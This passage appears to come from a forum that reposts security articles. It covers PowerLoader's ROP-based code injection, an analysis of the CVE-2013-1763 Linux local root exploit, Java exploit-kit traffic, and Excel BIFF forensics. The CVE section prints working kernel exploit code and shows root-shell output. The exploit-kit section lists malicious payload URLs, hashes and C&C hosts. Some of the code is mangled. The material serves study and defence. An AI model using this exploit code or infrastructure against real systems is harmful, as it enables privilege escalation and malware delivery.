memory, their purpose is to perform certain operations as PowerLoader can't execute any of its own code yet, due to the section being execute-protected. 00100E28 points to some code in explorer that executes the instruction "STD" followed by "RET", As a result the instruction underlined in red will result in the direction flag being set and execution being returned to the Window Procedure. Until now, nothing makes any sense at all. We've set the ESI to an address in the shellcode (Figure 1), we've set the EDI to an address on the stack (Figure2), and we've set the direction flag. What happens next makes sense of it all. EAX+4 is called from the window procedure, as we established EAX+4 is a pointer in our shellcode, but what does it point to? Again, we need to do some disassembling. [TABLE=class: tr-caption-container, align: center] [TR] [TD=align: center][/TD] [/TR] [TR] [TD=class: tr-caption, align: center]Figure 4: A random function in shell32.dll[/TD] [/TR] [/TABLE] Remember i said PowerLoader scanned some byte sequences in explorer? Well these bytes were found, in this case inside some random shell32 function (it doesn't matter). Now the pointer doesn't point to the start of the function, it points somewhere in the middle, as a result, only the bytes in the red box are executed. It should become apparent what is happening. The instruction "REP MOVSD" will move ECX (0x94) bytes from the address in ESI to the address in EDI. Earlier the code managed to use code within explorer to set the ESI to the shellcode address, the EDI to an address on the stack, then Set the direction flag to 1. Because of this, the shellcode starting at address 00100E0C will be copied to the stack backwards (The copying will start at the address in ESI, copy a DWORD, then subtract the address by 4 and repeat. (Remember: because all addresses points to executable code within explorer address space, and they are called using a pointer, no code in the shellcode is actually executed, thus resulting in no nasty DEP errors.) This is where things start to heat up, PowerLoader has just used code located within explorer to overwrite some of the stack with some shellcode, which means although still incapable of directly executing its own code, PowerLoader has control over return addresses and stack based parameters. Let's have a look at the code that was copied. [TABLE=class: tr-caption-container, align: center] [TR] [TD=align: center][/TD] [/TR] [TR] [TD=class: tr-caption, align: center]Figure 5: The ROP Shellcode that is written to the stack[/TD] [/TR] [/TABLE] Once the code copying the ROP Shellcode to the stack is done, it hits the ret instruction, but because the stack has been overwritten, it instead ends up executing code pointed to by the ROP Shellcode, Each bit of code has a ret instruction which causes the next ROP gadget to be executed. I stepped through in a debugger, below i have made a list of the ROP Gadgets in order of execution, each line is a different gadget. Direction Flag Clear Pop 0x70 into EAX Call _alloca_probe WriteProcessMemory Pop the address of ntdll!atan into EAX Jmp to EAX Some things to note: The _alloca_probe function is undocumented but I believe it takes the value in EAX and check that the stack can hold that many items, if not it triggers the guard page to allocate more stack space (0x70 is in EAX) The parameters for WriteProcessMemory are at address 00090DA0, these parameters cause WriteProcessMemory to read the shellcode from the shared section, then write it over ntdll!atan which we can assume isn't used by explorer. Finally the last instruction jumps to ntdll!atan and the code begins execution. [h=2]TLDR / Recap[/h] PowerLoader bypasses the execution protection on the shared sections, by using code found inside explorer to copy a ROP Chain to the stack, then uses the ROP Chain to manipulate the call stack into causing Explorer to call WriteProcessMemory and overwrite an unused function in ntdll with some shellcode to complete the injection. [h=2]Conclusion[/h] So there we have it, from non-executable section to shellcode execution by using explorer's own code against itself. I'll try and get a new article up soon, sorry for the inactivity <3 Posted by TM Sursa: Touch My Malware: PowerLoader Injection - Something truly amazing

[h=1]CVE-2013-1763 sock_diag_handlers Local Root Exploit Analysis[/h] March 20, 2013 By Andrea Sindoni In this article we will analyze the exploit released by Kacper Szczesniak for CVE -2013-1763. In simple terms this exploit takes advantage of a vulnerability at kernel-level of the array sock_diag_handlers, and allows a local user to gain privileges of “root” on the system. Before starting the analysis, however, the underlying concept should be clarified: in Linux systems, the user and kernel memory are implemented in different and independent address spaces, also these address spaces are virtualized and then mapped into physical memory using the page tables. In particular, if we assume to have a 32-bit Linux system, we will have 4GB of addresses available, of these 3GB are made ??available to the user memory and 1GB is left for the memory kernel, then the user will be assigned memory addresses ranging 0×00000000 to 0xBFFFFFFF, while the kernel memory addresses ranges from 0xC0000000 through 0xFFFFFFFF. Full exploit’s source code is available here. First of all we analyze the following lines of code: int __attribute__((regparm(3))) ) { commit_creds(prepare_kernel_cred(0)); return -1; } char stage1[] = "\xff\x25\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00"; commit_creds = (_commit_creds) 0xffffffff8107d180; prepare_kernel_cred = (_prepare_kernel_cred) 0xffffffff8107d410; *(unsigned long *)&stage1[sizeof(stage1)-sizeof(&x)] = (unsigned long)x; memset((void *)mmap_start, 0x90, mmap_size); memcpy((void *)mmap_start+mmap_size-sizeof(stage1), stage1, sizeof(stage1)); The kernel functions take the arguments from registers. The array contains stage1 asm instructions that are easy to decode: $ gcc -c exp.c$ objdump -D exp.o Disassembly of the section. Date:0000000000000000 <stage1>:0: ff 25 00 00 00 00 jmpq *0x0(%rip) # 6 <stage1+0x6> As we can see that the array contains a jmpq statement (this is equivalent JMP QWORD PTR in the x86 architecture) to the register pointer instruction %rip. In the x86-64 architecture, the address of commit_creds and prepare_kernel_cred are loaded relative to RIP. What we really want is a root shell. Kernel can not just call system (“/bin/sh”). But it can easily give root privileges to the current process: commit_creds(prepare_kernel_cred(0)); With the following code: *(unsigned long *)&stage1[sizeof(stage1)-sizeof(&x)] = (unsigned long)x;memset((void *)mmap_start, 0x90, mmap_size); memcpy((void *)mmap_start+mmap_size-sizeof(stage1), stage1, sizeof(stage1)); policed ??injected the instructions contained in the array stage1, this is used to create a NOP sled (an array of NOP (size 0×10000)) so as to slide RIP until it reaches our instructions. Let’s now analyze the heart of the exploit: struct { struct nlmsghdr nlh; struct unix_diag_req r; } req; char buf[8192]; if ((fd = socket(AF_NETLINK, SOCK_RAW, NETLINK_SOCK_DIAG)) < 0){ printf("Can't create sock diag socket\n"); return -1; } memset(&req, 0, sizeof(req)); req.nlh.nlmsg_len = sizeof(req); req.nlh.nlmsg_type = SOCK_DIAG_BY_FAMILY; req.nlh.nlmsg_flags = NLM_F_ROOT|NLM_F_MATCH|NLM_F_REQUEST; req.nlh.nlmsg_seq = 123456; req.r.udiag_states = -1; req.r.udiag_show = UDIAG_SHOW_NAME | UDIAG_SHOW_PEER | UDIAG_SHOW_RQLEN; /* Ubuntu 12.10 x86_64 */ req.r.sdiag_family = 0x37; We start with fd = socket (AF_NETLINK, SOCK_RAW, NETLINK_SOCK_DIAG), the Netlink socket is used to transfer information between processes and the kernel’s space. An application for each netlink message it conveys must provide the following header: struct nlmsghdr { __u32 nlmsg_len; /* Length of message including header. */ __u16 nlmsg_type; /* Type of message content. */ __u16 nlmsg_flags; /* Additional flags. */ __u32 nlmsg_seq; /* Sequence number. */ __u32 nlmsg_pid; /* PID of the sending process. */ }; We’re very interested in the content of the message type or nlmsg_type, which in this case is set with the value SOCK_DIAG_BY_FAMILY. The structure unix_diag_req however, is declared inside sock_diag.h, while in the file net/core/sock_diag.c you can find all the important features, but let’s focus on the following code: static const struct sock_diag_handler *sock_diag_handlers[AF_MAX];static int __sock_diag_rcv_msg(struct sk_buff *skb, struct nlmsghdr *nlh) { int err; struct sock_diag_req *req = nlmsg_data(nlh); const struct sock_diag_handler *hndl; if (nlmsg_len(nlh) < sizeof(*req)) return -EINVAL; /* check for "req->sdiag_family >= AF_MAX" goes here */ hndl = sock_diag_lock_handler[req->sdiag_family]; if (hndl == NULL) err = -ENOENT; else err = hndl->dump(skb, nlh); sock_diag_unlock_handler(hndl); return err; } The function sock_diag_lock_handler(), returns the family number received in the NetLink request. We note that the array sock_diag_handlers, is AF_MAX size and the current code has no validation check, this means that you can send a request message netlink SOCK_DIAG_BY_FAMILY with a family greater than or equal to AF_MAX. Since AF_MAX is 40, we can effectively return from memory after the end of sock_diag_handlers (“out-of-bounds access”) if we specify a family greater or equal to 40. So we can investigate further the function sock_diag_register() that accesses the array sock_diag_handler and analyze it at the kernel level. $ sudo cat /proc/kallsyms | grep sock_diag_register ffffffff81584ae0 T sock_diag_register Now we can start gdb: sudo gdb -c /proc/kcore (gdb) x/23i 0xffffffff81584ae0 0xffffffff81584ae0: push %rbp 0xffffffff81584ae1: mov %rsp,%rbp 0xffffffff81584ae4: sub $0x10,%rsp 0xffffffff81584ae8: mov %rbx,-0x10(%rbp) 0xffffffff81584aec: mov %r12,-0x8(%rbp) 0xffffffff81584af0: data32 data32 data32 xchg %ax,%ax 0xffffffff81584af5: cmpb $0x27,(%rdi) 0xffffffff81584af8: mov $0xffffffea,%ebx 0xffffffff81584afd: mov %rdi,%r12 0xffffffff81584b00: ja 0xffffffff81584b2c 0xffffffff81584b02: mov $0xffffffff81ca9fa0,%rdi 0xffffffff81584b09: mov $0xf0,%bl 0xffffffff81584b0b: callq 0xffffffff8167f410 0xffffffff81584b10: movzbl (%r12),%eax 0xffffffff81584b15: cmpq $0x0,-0x7e0d6f20(,%rax,8) 0xffffffff81584b1e: je 0xffffffff81584b40 0xffffffff81584b20: mov $0xffffffff81ca9fa0,%rdi 0xffffffff81584b27: callq 0xffffffff8167f3b0 0xffffffff81584b2c: mov %ebx,%eax 0xffffffff81584b2e: mov -0x8(%rbp),%r12 0xffffffff81584b32: mov -0x10(%rbp),%rbx 0xffffffff81584b36: leaveq 0xffffffff81584b37: retq Note that the line: [TABLE] [TR] [TD=class: code] 0xffffffff81584af5: CMPB $ 0x27, (% rdi) [/TD] [/TR] [/TABLE] Makes the statement if (HNDL-> family> = AF_MAX). While the line: [TABLE] [TR] [TD=class: code] 0xffffffff81584b15: cmpq $ 0x0,-0x7e0d6f20 (,% rax, 8) [/TD] [/TR] [/TABLE] Checks if (sock_diag_handlers [HNDL-> family]). Finally we can see the exploit at work: [TABLE] [TR] [TD=class: code] $gcc -o exp exp.c $./exp # id uid = 0 (root) gid = 0 (root) groups = 0 (root) [/TD] [/TR] [/TABLE] …And we have full control on the machine. How do we solve the issue? To fix the leak, you need to update the system, namely the following package: “linux-ti-OMAP4? 3.5.0-220.29 (for more information https://launchpad.net/ubuntu/+source/linux-ti-omap4/3.5.0-220.29), making sure at the new version number of the kernel packages, due to change ABI (Application Binary Interface). Sursa: CVE-2013-1763 sock_diag_handlers Local Root Exploit Analysis

Format String Vulnerability The above statement is quite common in C programs. In the lecture, we will find out what can go wrong if the program is running with privileges (e.g. Set-UID program). Format String What is a format string? printf ("The magic number is: %d\n", 1911); Download: http://www.cis.syr.edu/~wedu/Teaching/cis643/LectureNotes_New/Format_String.pdf

[h=1]jre7u21 and earlier Click-2-Play Warning Bypass integrating Exploit Kits[/h] A new variant of a "Kore-ish" Cool EK appeared few days ago. Yes...it's difficult to follow the EK fast moving landscape...No payload in the jar for that one. [TABLE=class: tr-caption-container, align: center] [TR] [TD=align: center][/TD] [/TR] [TR] [TD=class: tr-caption, align: center]Some instances of this "Cool EK" in URLQuery[/TD] [/TR] [/TABLE] I faced it often where I used to see Kore (aka Sibhost) Exploit Kit. It is also used to spread the Urausy Ransomware and FakeAV (so... BestAV stuff) All jar found there were identical as those in Blackhole. Till today. CVE-2013-2460 + Click2Play Bypass : That CVE was already in use in Private Exploit Pack but it was noisy (Imposition then made it optional ) [TABLE=class: tr-caption-container, align: center] [TR] [TD=align: center][/TD] [/TR] [TR] [TD=class: tr-caption, align: center]CVE-2013-2460 successfull path in Cool EK (Kore-ish) Click2Play Bypass inside 2013-09-20[/TD] [/TR] [/TABLE] GET http://[redacted].tacogratis .com/index.php?p=5267 200 OK (text/html) [TABLE=class: tr-caption-container, align: center] [TR] [TD=align: center][/TD] [/TR] [TR] [TD=class: tr-caption, align: center]Key Piece of the landing[/TD] [/TR] [/TABLE] GET http://[redacted].tacogratis .com/index.php?p=5290 200 OK (text/javascript) GET http://[redacted].tacogratis .com/index.php?p=5268 fb1decbef1c4361eb421a3496201ef30 200 OK (application/java-archive) GET http://[redacted].tacogratis .com/index.php?p=5268 200 OK (application/java-archive) GET http://cghtuj.tacogratis .com/index.php?p=5275&e=14 200 OK (application/x-msdownload) 170896de44d75651bbbd9358b0f11c34 (Urausy Ransomware) ----- Off Topic ---- Payload is rotating fast (2 more md5) : b56348220f83ad9db50cb5beb564148b 64ef8f2cb215af4b2fbcb51cadfcc025 [TABLE=class: tr-caption-container, align: center] [TR] [TD=align: center][/TD] [/TR] [TR] [TD=class: tr-caption, align: center]Urauy Ransomware - DE design - 2013-09-20 (BestAV soft 2)[/TD] [/TR] [/TABLE] Note : on another thread you can get a FakeAV [TABLE=class: tr-caption-container, align: center] [TR] [TD=align: center][/TD] [/TR] [TR] [TD=class: tr-caption, align: center]Payload call with bigger charge[/TD] [/TR] [/TABLE] 9d8d3094849f685859945140721aafb1 7fb9423c4bdf7080137745e81ba38362 13e24b552ea472146495ac8a33cca975 [TABLE=class: tr-caption-container, align: center] [TR] [TD=align: center][/TD] [/TR] [TR] [TD=class: tr-caption, align: center]Other payload from this "Kore-ish" Cool EK (BestAV Soft1)[/TD] [/TR] [/TABLE] ------------------- So what's that Click2Play bypass ? Quite surely : Bugtraq: VUPEN Security Research - Oracle Java Preloader Click-2-Play Warning Bypass Vulnerability 2013-06-18 - Vulnerability Fixed in Java 7u25 Yes : [TABLE=class: tr-caption-container, align: center] [TR] [TD][/TD] [/TR] [TR] [TD=class: tr-caption]Warning with jre7u25 (and as CVE-2013-2460 is patch too...clicking on run there won't put you at risk) [/TD] [/TR] [/TABLE] It's the first time I see that. 5 days ago : Who sold it ? ?? No download link for now. Yes it will spread fast anyway. It's easy to get rid of all these Exploit Kits : update ! <edit1 2013-09-21> Already in Sakura...surely cause of that blog post. It's often difficult to decide how much you can write about something. Sakura CVE-2013-2460 & Click2Play Bypass : [TABLE=class: tr-caption-container, align: center] [TR] [TD=align: center][/TD] [/TR] [TR] [TD=class: tr-caption, align: center] Sakura featuring CVE-2013-2460 & Click2Play bypass 2013-09-21 [/TD] [/TR] [/TABLE] GET http://[redacted]253 .pw:8509/me.php 200 OK (text/html) [TABLE=class: tr-caption-container, align: center] [TR] [TD=align: center][/TD] [/TR] [TR] [TD=class: tr-caption, align: center]Precision Strike new Click2Play bypass for 21 version[/TD] [/TR] [/TABLE] [TABLE=class: tr-caption-container, align: center] [TR] [TD=align: center][/TD] [/TR] [TR] [TD=class: tr-caption, align: center]Jnlp call[/TD] [/TR] [/TABLE] GET http://[redacted] .pw:8509/[redacted].ee 200 OK (application/java-archive) dca89d839abbb8f621a87de94d20d8f2 CVE-2013-2460 [TABLE=class: tr-caption-container, align: center] [TR] [TD=align: center][/TD] [/TR] [TR] [TD=class: tr-caption, align: center]Piece of CVE-2013-2460 in Sakura Jar 2013-09-21 [/TD] [/TR] [/TABLE] GET http://[redacted] .pw:8509/bodystarswild.ee 200 OK (application/java-archive) GET http://[redacted] .pw:8509/2889.ld 200 OK (application/octet-stream) Once decoded : 5fba8226303967ccfd27ea8710a8b99d I think it's a Smokebot ----- Off Topic ---- C&C Calls : mexstat757.com POST /satep757/index.php mexstat220.pw GET /setex/sev57.exe mexstat220.pw GET /setex/pm555.exe etc... 46.165.201.27 16265 | 46.165.192.0/18 | LEASEWEB | DE | LEASEWEB.COM | LEASEWEB GERMANY GMBH It's the same guys than those who were behind this one year old post : From Sakura to Reveton via Smoke Bot - Or a Botnet Distribution of Reveton 2012-09-12 Since then Smoke Bot is now encrypting its network calls. Analysis by Joe Sandbox Cloud ---------------------- </edit1> <edit2: 2013-09-23> Nuclear Pack : CVE-2013-2460 + Click2Play bypass Announced Underground : "???????? ???? exploit, ?????? ????????. ???????? ???? ? ?? ???????" Nuclear which means something like: "New exploit added, breaking rate increased, works silently and scorched" [TABLE=class: tr-caption-container, align: center] [TR] [TD=align: center][/TD] [/TR] [TR] [TD=class: tr-caption, align: center]CVE-2013-2460 with no security prompt successful path in Nuclear Pack 2013-09-23[/TD] [/TR] [/TABLE] GET http://[redacted].flogdoyfohoqobl .biz:12421/3dfa4ffa555573ba6fbb54a243289806/4/5b1bb46b5a96bee3ebbb1d2251d968bb.html 200 OK (text/html) [TABLE=class: tr-caption-container, align: center] [TR] [TD=align: center][/TD] [/TR] [TR] [TD=class: tr-caption, align: center]Precision Strike (Thanks @EKWatcher )[/TD] [/TR] [/TABLE] [TABLE=class: tr-caption-container, align: center] [TR] [TD=align: center][/TD] [/TR] [TR] [TD=class: tr-caption, align: center]jnlp call in Nuclear Pack After Deobfuscation (Thanks @EKWatcher )[/TD] [/TR] [/TABLE] GET http://[redacted].flogdoyfohoqobl .biz:12421/b26c7ee3934bb471d1e1a7e4072dc6ef/1379924555/ba365f21b8ebcfe78ba8a843b76c2d06.jar 200 OK (application/java) GET http://[redacted].flogdoyfohoqobl .biz:12421/b26c7ee3934bb471d1e1a7e4072dc6ef/1379924555/ba365f21b8ebcfe78ba8a843b76c2d06.jar 200 OK (application/java) e03455403f226b23be42b30733a26101 [TABLE=class: tr-caption-container, align: center] [TR] [TD=align: center][/TD] [/TR] [TR] [TD=class: tr-caption, align: center]Piece of CVE-2013-2460 in Nuclear Pack 2013-09-23[/TD] [/TR] [/TABLE] GET http://[redacted].flogdoyfohoqobl .biz:12421/f/1379924555/ba365f21b8ebcfe78ba8a843b76c2d06/b26c7ee3934bb471d1e1a7e4072dc6ef/2 200 OK (application/octet-stream) Decoded : 3a9d1dcad1176717711eb92b25f7d6b0 GET http://[redacted].flogdoyfohoqobl .biz:12421/f/1379924555/ba365f21b8ebcfe78ba8a843b76c2d06/b26c7ee3934bb471d1e1a7e4072dc6ef/2/2 200 OK (application/octet-stream) ----------- Out of Topic ----------- C&C : 185.6.80.125 - 61422 | 185.6.80.0/24 | TD-VITA | RU | - | TD-VITA LLC. for instance : POST /mBj7cjhH/gate.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Connection: close User-Agent: Mozilla/4.0 Host: halifaxkilo.com Analysis by Joe Sandbox Cloud ------------------------------------ </edit2> <edit3> Styx CVE-2013-2472 + Click2Play Bypass : Many Thanks to Timo Hirvonen from F-Secure for identifying the CVE. [TABLE=class: tr-caption-container, align: center] [TR] [TD=align: center][/TD] [/TR] [TR] [TD=class: tr-caption, align: center]Reveton Pushed in Styx 2013-09-24 Using CVE-2013-2472 & Click2Play Bypass on jre7u21 We can see the call for Bitcoin miner after VM Reboot.[/TD] [/TR] [/TABLE] GET http://[redacted].info/hsZv/3J17_DtR/13C_ht11nF-E17H_R60kufr_0HUzD0c/xrB/055RR0/iWsU0-VEw-x0Rm-ou0xvC-3/ 302 Found to http://an-wis.info/uhoTif0-WROr0Q-37C0-yBpl_0aj_cG16VuZ-02qAE/0JPA/w09M/S80Jx/Hc0oCWv_0nM3V-12GaV0/PRhA0DV_5j0SVPd0_gTY8/087-Ei00X-ri0W_8rf0nQV-S0jRk9-0jX_AJ0XhbQ/09W5/L07cS20/QYjr0TG-2r_0vM0-I038Gx0_AYCo0z70V/0sy-Lq0E6N-s0TW70/0U1w2-15hVc0U_zhI0/HLYx0gj_iQ16G-rf0hrk/D137BV_05Qr/Q0Nr8A0RN/GY0Vt-dw0Ke-7d17t9_n0Wnx-B/ GET http://[redacted].info/uhoTif0-WROr0Q-37C0-yBpl_0aj_cG16VuZ-02qAE/0JPA/w09M/S80Jx/Hc0oCWv_0nM3V-12GaV0/PRhA0DV_5j0SVPd0_gTY8/087-Ei00X-ri0W_8rf0nQV-S0jRk9-0jX_AJ0XhbQ/09W5/L07cS20/QYjr0TG-2r_0vM0-I038Gx0_AYCo0z70V/0sy-Lq0E6N-s0TW70/0U1w2-15hVc0U_zhI0/HLYx0gj_iQ16G-rf0hrk/D137BV_05Qr/Q0Nr8A0RN/GY0Vt-dw0Ke-7d17t9_n0Wnx-B/ 200 OK (text/html) GET http://[redacted].info/uhoTif0-WROr0Q-37C0-yBpl_0aj_cG16VuZ-02qAE/0JPA/w09M/S80Jx/Hc0oCWv_0nM3V-12GaV0/PRhA0DV_5j0SVPd0_gTY8/087-Ei00X-ri0W_8rf0nQV-S0jRk9-0jX_AJ0XhbQ/09W5/L07cS20/QYjr0TG-2r_0vM0-I038Gx0_AYCo0z70V/0sy-Lq0E6N-s0TW70/0U1w2-15hVc0U_zhI0/HLYx0gj_iQ16G-rf0hrk/D137BV_05Qr/Q0Nr8A0RN/GY0Vt-dw0Ke-7d17t9_n0Wnx-B/yavirts.html 200 OK (text/html) GET http://[redacted].info/uhoTif0-WROr0Q-37C0-yBpl_0aj_cG16VuZ-02qAE/0JPA/w09M/S80Jx/Hc0oCWv_0nM3V-12GaV0/PRhA0DV_5j0SVPd0_gTY8/087-Ei00X-ri0W_8rf0nQV-S0jRk9-0jX_AJ0XhbQ/09W5/L07cS20/QYjr0TG-2r_0vM0-I038Gx0_AYCo0z70V/0sy-Lq0E6N-s0TW70/0U1w2-15hVc0U_zhI0/HLYx0gj_iQ16G-rf0hrk/D137BV_05Qr/Q0Nr8A0RN/GY0Vt-dw0Ke-7d17t9_n0Wnx-B/jplay.html 200 OK (text/html) (jnlp call) [TABLE=class: tr-caption-container, align: center] [TR] [TD=align: center][/TD] [/TR] [TR] [TD=class: tr-caption, align: center]Click2Play Bypass in Styx 2013-09-24[/TD] [/TR] [/TABLE] GET http://[redacted].info/uhoTif0-WROr0Q-37C0-yBpl_0aj_cG16VuZ-02qAE/0JPA/w09M/S80Jx/Hc0oCWv_0nM3V-12GaV0/PRhA0DV_5j0SVPd0_gTY8/087-Ei00X-ri0W_8rf0nQV-S0jRk9-0jX_AJ0XhbQ/09W5/L07cS20/QYjr0TG-2r_0vM0-I038Gx0_AYCo0z70V/0sy-Lq0E6N-s0TW70/0U1w2-15hVc0U_zhI0/HLYx0gj_iQ16G-rf0hrk/D137BV_05Qr/Q0Nr8A0RN/GY0Vt-dw0Ke-7d17t9_n0Wnx-B/NyJjQvjE.jar 200 OK (application/java-archive) GET http://[redacted].info/uhoTif0-WROr0Q-37C0-yBpl_0aj_cG16VuZ-02qAE/0JPA/w09M/S80Jx/Hc0oCWv_0nM3V-12GaV0/PRhA0DV_5j0SVPd0_gTY8/087-Ei00X-ri0W_8rf0nQV-S0jRk9-0jX_AJ0XhbQ/09W5/L07cS20/QYjr0TG-2r_0vM0-I038Gx0_AYCo0z70V/0sy-Lq0E6N-s0TW70/0U1w2-15hVc0U_zhI0/HLYx0gj_iQ16G-rf0hrk/D137BV_05Qr/Q0Nr8A0RN/GY0Vt-dw0Ke-7d17t9_n0Wnx-B/NyJjQvjE.jar 200 OK (application/java-archive) 3c812730758b9118ba4764adf3ab53bc GET http://[redacted].info/r007gL_0e2X80Ooo-30N1XG/0C/rt/d0tg2C-0e_l6L0H_NL40C05W/0aDec0A/b5g-04-yuI0i3/KS00i/AE0m/VuD0uHFw0/pRgP0Dy-z80J_Aek0Y_hcr0AhC_80_lWyk13f/It0865-L0O_GKn-0E/1dA0baP00-1EAC0QAs/R0f-4Bq0ZIn-f0X_4n-30otyr-05Y83-0ZxLA/17y/RZ0I/MM60-Ajpo06eml/0gVj_P0Yv3E0MRn/30AF6J0H/9ZU0f/WRI0wAPs11/ttO0CZz_j0leh-i0k1X_l0oDdd_0ah_pC/kC4XSO15ZD.exe?lniV=7decb&h=16 200 OK (application/x-dosexec) 4a0e95c28b2b5b6259b7b558c3565988 ----------- Out of Topic : Payload ----------- Reveton. C&C Reverse Proxy : [TABLE=class: tr-caption-container, align: center] [TR] [TD=align: center][/TD] [/TR] [TR] [TD=class: tr-caption, align: center]Reveton Calling Home 2013-09-24[/TD] [/TR] [/TABLE] 64.191.122.10 - 21788 | 64.191.0.0/17 | NOC | US | NOCINC.COM | NETWORK OPERATIONS CENTER INC. We can see the call to the Bitcoin Miner (read: Ransomware Puts Your System To Work Mining Bitcoins ) The binary is not there anymore since 2013-09-11 (was : 2794fd5b64b585df132b4524b82d18c8 ) -------------------------------------------------- </edit3> <edit4 : 2013-09-24> Neutrino : CVE-2013-2460 + Click2Play bypass It seems the integration has been far from smooth for the Neutrino coder. The jar is inside the Exploit Kit since more than 3 days. The coder announced the new exploit 2 days ago...but the warning was still here and even validating the execution your were safe. Some protections were removed (you could hit the exploit kit as many time as you want with same IP without problem...seems like someone else was testing it ). And the 22 (sunday) more than half a day with all threads in 404...But in the end...he made it. [TABLE=class: tr-caption-container, align: center] [TR] [TD=align: center][/TD] [/TR] [TR] [TD=class: tr-caption, align: center]CVE-2013-2460 + Click2Play ByPass in Neutrino 2013-09-24[/TD] [/TR] [/TABLE] Will only keep relevant calls : GET http://[redacted].dyndns .info:8000/gxstfkhf?ttdwjipi=4128154 200 OK (text/html) GET http://ajax.googleapis .com/ajax/libs/jquery/1.9.1/jquery.min.js 200 OK (text/javascript) GET http://[redacted].dyndns .info:8000/index.js 200 OK (application/x-javascript) POST http://[redacted].dyndns .info:8000/twpnnurhbg 200 OK (text/html) [TABLE=class: tr-caption-container, align: center] [TR] [TD=align: center][/TD] [/TR] [TR] [TD=class: tr-caption, align: center]Encoded Jnlp[/TD] [/TR] [/TABLE] Applying the Neutrino "xor" function with key "qoxacfix" [TABLE=class: tr-caption-container, align: center] [TR] [TD=align: center][/TD] [/TR] [TR] [TD=class: tr-caption, align: center]Jnlp[/TD] [/TR] [/TABLE] Base64 decode of the jnlp_embedded value : GET http://[redacted].dyndns .info:8000/rclmrcfdvdjtq?joiihv=uihuzdhhuq 200 OK (application/java-archive) GET http://[redacted].dyndns .info:8000/rclmrcfdvdjtq?joiihv=uihuzdhhuq 200 OK (application/java-archive) 3fcac6c64ce0ca28ee615a8fad224dd3 [TABLE=class: tr-caption-container, align: center] [TR] [TD=align: center][/TD] [/TR] [TR] [TD=class: tr-caption, align: center]Piece of slightly obfuscated CVE-2013-2460 in Neutrino (since 2013-09-21 in fact)[/TD] [/TR] [/TABLE] GET http://[redacted].dyndns .info:8000/faybcc?juzickeew=uihuzdhhuq 200 OK (application/octet-stream) Decoded : a126281477c856b9358de5aea1369990 who drop : 898b9aee9931230ef3bc0c59eb541c55 - Didn't spend too much time to figure out what it is. Saw 404 POST to : http://allewnuado .ru/perl/config.php - 79.174.64.127 47385 | 79.174.64.0/19 | HOSTING-COMPANY | RU | HC.RU | HOSTING CENTER LTD. </edit4> <edit5 2013-09-25> Blackhole : CVE-2013-2460 Click2Play Bypass I saw that jar yesterday already being pushed without exploitation to jre7u21 in /closest/ Blackhole. It's the exact same jar as the Cool EK in "/index.php?p=" that introduce the Bypass. Today on the /Home/ (aka q.php) Darkleech fuelled BH EK the Click2Play bypass is here. And payload is as always Pony (steal passwords and act as loader. No change since at least December. It pushes Urausy in some countries or Nymaim in other countries (which can then get another version of Nymaim with locker functionnality or Zaccess). This has been well explained by Eset. [TABLE=class: tr-caption-container, align: center] [TR] [TD=align: center][/TD] [/TR] [TR] [TD=class: tr-caption, align: center]BH EK /Home/ aka q.php CVE-2013-2460 + Click2play bypass 2013-09-25[/TD] [/TR] [/TABLE] GET http://64.246.3 .59/e354340618f9c3a8d474225ef7cc6b2a/panic-portable.php 200 OK (text/html) [TABLE=class: tr-caption-container, align: center] [TR] [TD=align: center][/TD] [/TR] [TR] [TD=class: tr-caption, align: center]Conditions for the bypass call[/TD] [/TR] [/TABLE] [TABLE=class: tr-caption-container, align: center] [TR] [TD=align: center][/TD] [/TR] [TR] [TD=class: tr-caption, align: center]jnlp call[/TD] [/TR] [/TABLE] GET http://64.246.3 .59/e354340618f9c3a8d474225ef7cc6b2a/panic-portable.php?!0M!6J=1F_*H4z-I*!f&Jk__*zFA_92-*=7*K9_Kp1 200 OK (application/java-archive) GET http://64.246.3 .59/e354340618f9c3a8d474225ef7cc6b2a/panic-portable.php?!0M!6J=1F_*H4z-I*!f&Jk__*zFA_92-*=7*K9_Kp1 200 OK (application/java-archive) f5fc4540e6e64efee8711007ac0d4ed1 [TABLE=class: tr-caption-container, align: center] [TR] [TD=align: center][/TD] [/TR] [TR] [TD=class: tr-caption, align: center]CVE-2013-2460 in BH EK 2013-09-25[/TD] [/TR] [/TABLE] GET http://64.246.3 .59/e354340618f9c3a8d474225ef7cc6b2a/panic-portable.php?-*Z73922k0NUj8=8b8cwd8aww&*F21!gX=w88c8dw6wdw7wbwbwd8c&!_239!6W25u*_=ww&59*!a34-d1_2!uT=u*g88*8&OF2EFwol0!3_9=7ZF!Y*08*!P_75m 200 OK (application/x-msdownload) - acb80f0eaa177953a53f3be188c8e3da Analysis and sample: Malwr.com </edit5> Posted 1 week ago by Kafeine Sursa: Malware don't need Coffee: jre7u21 and earlier Click-2-Play Warning Bypass integrating Exploit Kits

[h=3]MS Excel and BIFF Metadata: Last Opened By[/h] In my last post, I discussed using an OLE timestamp to determine the last time an Excel spreadsheet was opened and closed without being saved. The last opened time can be very helpful, but wouldn't it be nice to know more about who may have opened the file? The Last Saved By metadata field will help if the file was saved after it was opened, but it may not provide additional information if the file was not saved. However, the file's Workbook stream, comprised of a Binary Interchange File Format (BIFF) data structure, includes a field that records the user name associated with the account that last opened the Excel spreadsheet. This data is recorded regardless of whether the file is saved and can provide information regarding the last user that opened the file. [h=4]The Details[/h] Microsoft Excel spreadsheets saved in the OLE compound file format utilize the Binary Interchange File Format (BIFF) for saving data in the Workbook stream of the spreadsheet. I'm not going to cover the intricacies of the BIFF here; for more information, refer to the Microsoft specification. There is more than one version of BIFF as well; version 8 is the specific version addressed in this post. According to this Microsoft KB article, "when you open an Excel workbook, Excel writes the name of the current user to the header of the file" (the article later states that this does not apply to .xlsx files). The "header" of the file, as it's described, is actually the "Write Access User Name" record within the BIFF data structure that comprises the file's Workbook stream. It's important to note that the user name is referenced from the UserInfo subkey in the user's NTUSER.DAT, which may not be the same as the user name of the Windows account. Regardless of whether the file is saved, the user name is written to the Write Access User Name record. As such, data stored in this record may be different from the Last Saved By metadata field located in the Summary Information stream. When the "Protected View" warning bar appears (requiring the user to click "Enable Editing" to edit the spreadsheet), it appears that updates to the Write Access User Name record will depend on the volume from which the file was opened. Opening a file that was downloaded from the Internet but stored on the local hard disk results in an update to user name in the record (regardless of whether the "Enable Editing" button is clicked by the user). Opening a file from a network resource will not update the record unless the user clicks the "Enable Editing" button. It should be noted though that my testing has been limited with regard to the Protected View functionality. Interestingly, it appears that as different users open the same spreadsheet, the Write Access User Name record is simply overwritten as opposed to the previous user name being 